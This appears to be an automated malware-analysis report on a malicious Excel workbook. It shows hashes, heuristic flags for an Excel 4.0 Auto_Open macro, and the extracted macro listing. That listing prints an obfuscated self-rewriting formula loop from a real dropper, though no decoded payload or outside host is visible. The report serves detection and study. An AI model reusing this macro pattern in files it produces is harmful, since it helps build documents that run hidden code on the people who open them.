Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef4ac833db39bb08…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:28:30 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 3275396f2313ebe283c7191a4a8a45b9 SHA-1: 2a11948f9a384e911e42303d09fa5bafdc610ae3 SHA-256: ef4ac833db39bb08a6199acb954597f53af6c8bce58f0e404c526d42705ede9d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6482 bytes
SHA-256: d84f091bca91b11d14a7baf156550244745a633a035ca058ee7d7eeb2dfdcb98
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GIPGumJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I172 
' 0018     21 LABEL : Cell Value, String Constant - BSODLd len=0 
' 0018     26 LABEL : Cell Value, String Constant - cTMbFWqglbH len=0 
' 0018     22 LABEL : Cell Value, String Constant - FNBdomI len=0 
' 0018     24 LABEL : Cell Value, String Constant - GllpBBeUY len=0 
' 0018     23 LABEL : Cell Value, String Constant - GyDkgauQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - hIMQpKjsM len=0 
' 0018     22 LABEL : Cell Value, String Constant - iPnMTvb len=0 
' 0018     23 LABEL : Cell Value, String Constant - iTikUQkV len=0 
' 0018     25 LABEL : Cell Value, String Constant - jcasLZnpuM len=0 
' 0018     21 LABEL : Cell Value, String Constant - kfxLOz len=0 
' 0018     22 LABEL : Cell Value, String Constant - KnizLty len=0 
' 0018     25 LABEL : Cell Value, String Constant - lvoRlUBqfl len=0 
' 0018     21 LABEL : Cell Value, String Constant - PFdDhx len=0 
' 0018     20 LABEL : Cell Value, String Constant - PXIup len=0 
' 0018     22 LABEL : Cell Value, String Constant - QlgJSwR len=0 
' 0018     21 LABEL : Cell Value, String Constant - SmFbKe len=0 
' 0018     25 LABEL : Cell Value, String Constant - VWkmqsjpSZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - WvyLdcVM len=0 
' 0018     23 LABEL : Cell Value, String Constant - xkLMsnBT len=0 
' 0018     26 LABEL : Cell Value, String Constant - yWUooTHRZEc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GIPGumJ,I85,"SET.NAME("iTikUQkV",VALUE("0"))",""
'  GIPGumJ,I88,"SET.NAME("GllpBBeUY",iTikUQkV)",""
'  GIPGumJ,I91,"SET.NAME("SmFbKe",iTikUQkV)",""
'  GIPGumJ,I94,"SET.NAME("FNBdomI",COUNTA(QlgJSwR))",""
'  GIPGumJ,I98,"SET.NAME("PXIup",COUNTA(kfxLOz))",""
'  GIPGumJ,I101,[],""
'  GIPGumJ,I106,"SET.NAME("jcasLZnpuM","")",""
'  GIPGumJ,I110,"GllpBBeUY",""
'  GIPGumJ,I113,"SET.NAME("xkLMsnBT",HLOOKUP("*",QlgJSwR,GllpBBeUY,FALSE))",""
'  GIPGumJ,I117,"PFdDhx",""
'  GIPGumJ,I119,"SET.NAME("yWUooTHRZEc",iTikUQkV)",""
'  GIPGumJ,I124,[],""
'  GIPGumJ,I129,"yWUooTHRZEc",""
'  GIPGumJ,I133,"lvoRlUBqfl",""
'  GIPGumJ,I135,"cTMbFWqglbH",""
'  GIPGumJ,I138,"GyDkgauQ",""
'  GIPGumJ,I140,"SET.NAME("hIMQpKjsM",VALUE(HLOOKUP("*",kfxLOz,GyDkgauQ,FALSE)))",""
'  GIPGumJ,I143,"iPnMTvb",""
'  GIPGumJ,I146,"jcasLZnpuM",""
'  GIPGumJ,I148,"SmFbKe",""
'  GIPGumJ,I150,NEXT(),""
'  GIPGumJ,I153,"BSODLd",""
'  GIPGumJ,I158,"SET.NAME("f",INT(T(FORMULA(T(jcasLZnpuM)&"",""&T(BSODLd)))))",""
'  GIPGumJ,I163,"VWkmqsjpSZ",""
'  GIPGumJ,I168,NEXT(),""
'  GIPGumJ,I170,RETURN(),""
'  GIPGumJ,I190,"SET.NAME("KnizLty",I85)",""
'  GIPGumJ,I193,"QlgJSwR",""
'  GIPGumJ,I197,"SET.NAME("kfxLOz",R91C13)",""
'  GIPGumJ,I199,"SET.NAME("VWkmqsjpSZ",208)",""
'  GIPGumJ,I202,"SET.NAME("WvyLdcVM",9)",""
'  GIPGumJ,I207,KnizLty(),""
'  GIPGumJ,I208,HALT(),""

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